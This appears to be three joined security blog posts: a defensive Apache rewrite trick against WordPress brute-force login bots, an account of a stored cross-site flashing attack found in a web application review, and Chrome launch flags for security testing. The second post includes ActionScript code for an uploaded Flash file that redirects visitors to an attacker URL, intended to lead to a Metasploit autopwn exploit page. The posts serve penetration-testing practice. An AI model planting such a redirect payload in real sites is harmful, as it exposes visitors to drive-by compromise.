Here’s another *easy* way to help with those pesky wordpress brute-force logins we have been hearing about.  Most automated attacks make a lot of assumptions.  Like where your blog’s login page is located, and what information is needed to login via that page.  It’s really easy to take those assumptions and make them wrong.  The trick is doing it in a way that doesn’t mess up your real users, and can be done without modifying source code.

I am writing this for the much-outdated Apache 2.2, since that’s what my server is running.  The 2.4 version can easily (and more elegantly I might add) do the same thing, but uses different modules.  This example uses only mod_rewrite and mod_usertrack, which should make the scope a little wider, since it’s something that many users will be able to implement in a .htaccess file.

So, this is so laughably simple to setup (only 7 lines in the config file!) that you might think it’s useless (and in a week or two it could be,) but the simple truth is most brute-force hacking tools can’t do a lot of things that a real web-browser does all the time.  Like follow 302 redirects, and use session cookies.  It’s very easy to do this with Apache in a way that doesn’t break the login process for normal users, but will trip up many automated attack tools.

So the premise is this, if requests are being generated by a real user that user will likely visit via a link (or maybe even a saved bookmark) to the login page, they will fill out a form, and then submit it.  If it’s an attack script, it’s likely got the POST target hard-coded.  So here’s an easy way to deal with that.

1. When a request comes into the login page, check if there is a session setup for it.
2. If the session is valid, process the request.
3. If it isn’t, perform a 302 redirect to a (rewritten) version of the login page that will set the session.  (Discarding, and ignoring the POST form data in the case of a login attempt!)

It’s really that simple.  Of course there are some gotchas … the session data (either name or value) should be hard to guess without following the 302, and setting the actual cookie, and the URL that sets the session should also be unique to the site.  Unfortunately, mod_usertrack wasn’t built for this, and the session payload is a fixed value (mod_session in 2.4 offers much better options.)  So to do this without any external components to Apache 2.2, I decided that a unique cookie name is good enough.

I was nice enough to generate random values for each load of my example here :)

I can already hear your thoughts … but that doesn’t validate anything!  True, but if you really want you can do that through by adding on mod_security’s session tracking on top of the above measures.  See here and here for more on that.

The title for this post posed somewhat of a conundrum for me. That’s because I think technically, cross-site flashing is more about attacking a flash applet that already lives on a website.  But what if you are allowed to add one to said website?  Is attacking the document object model through an uploaded flash applet still cross-site flashing, is it stored cross-site scripting, or should it be called stored cross-site flashing?  I’m sure there really is a definition somewhere that at least two people have agreed upon.

Anyways, I was looking at a web application that implemented pretty good cross-site scripting protection, it even uses the OWASP Antisamy libraries to sanitize untrusted data that is stored in the application. But with all that work in place it still allowed users to specify a location for a flash applet, but it didn’t actually allow the user to upload said applet to the server via the WYSIWYG editor I was attacking.  And I assume that the developers thought that this was sufficient to protect users, because it would cause the browser to enforce same origin policies against the remote flash applet.  (Not to mention someone could just point the object tag directly to a SWF file that started throwing exploits at Flash Player, cross-origin policy be damned.)  There were however other places in the application that a user could upload to though, even if not directly in the WYSIWYG editor.  So referencing these other locations was a simple task, just paste in the URL!

I have theorized about using a similar attack vector for a while (because, it’s pretty obvious.) Of course I realize this attack isn’t anything unique by any means, but I wasn’t able to find any easy steps to do it … ultimately my goal was to redirect to a metasploit autopwn instance and do a demo of how this could be used to compromise systems.  The best part was that the flash object tag was actually getting embedded in a iframe inside of the main page, which made all this look totally innocent on the browser getting attacked.  So I compiled the following ActionScript 3 code using as3compile (from the swftools suite,) and it worked perfectly!

package 
{ 
 import flash.display.MovieClip
 import flash.net.*
 public class Main extends MovieClip
 { 
 function Main() {
 var url:String = "CHANGE_TO_TARGET_URL"; 
 var urlReq:URLRequest = new URLRequest(url); 
 navigateToURL(urlReq,"_self");
 } 
 } 
}

The first time I used Chrome during a web application security review I had a rather unpleasant surprise.  I had audited applications from the same developers before and found countless XSS errors.  This time it looked like they had fixed all those problems!  Little did I know that Chrome was actually performing filtering for reflected XSS attacks, and it wasn’t the developers.  I almost got bitten hard by missing a lot of vulnerabilities and afterwards I just avoided Chrome completely for any type of testing.  I also rely very heavily on a few FireFox plugins: Firebug, Web Developer, and Tamperdata are just a few examples, but in Chrome’s early days there just weren’t a lot of plugins.

There were other plugins missing from Chrome that I don’t use for security testing, but I use for everyday web surfing.  There are a few absolutely necessary plugins for performing any sort of general browsing:  NoScript and Ad Block Plus.  I heavily rely on these in Firefox.

It’s been a few years and I guess it’s time to have another look.

General Settings:

• The first problem to tackle is the Cross Site Scripting Auditor.  Fortunately there is a command line flag that disables the functionality: –disable-xss-auditor.  Simple enough.
• The next problem is that Chrome uses the system proxy settings (in both Windows and Mac OS) which can be problematic for me (sometimes I will have several browsers running at the same time–I don’t use the same browser for testing and general surfing, mostly because it can create a lot of noise in an intercepting proxy.)  There is a command line switch for this too: –proxy-server=host:port

C:\Users\<Your UserName Here>\AppData\Local\Google\Chrome\Application\chrome.exe --args --disable-xss-auditor --proxy-server=127.0.0.1:8081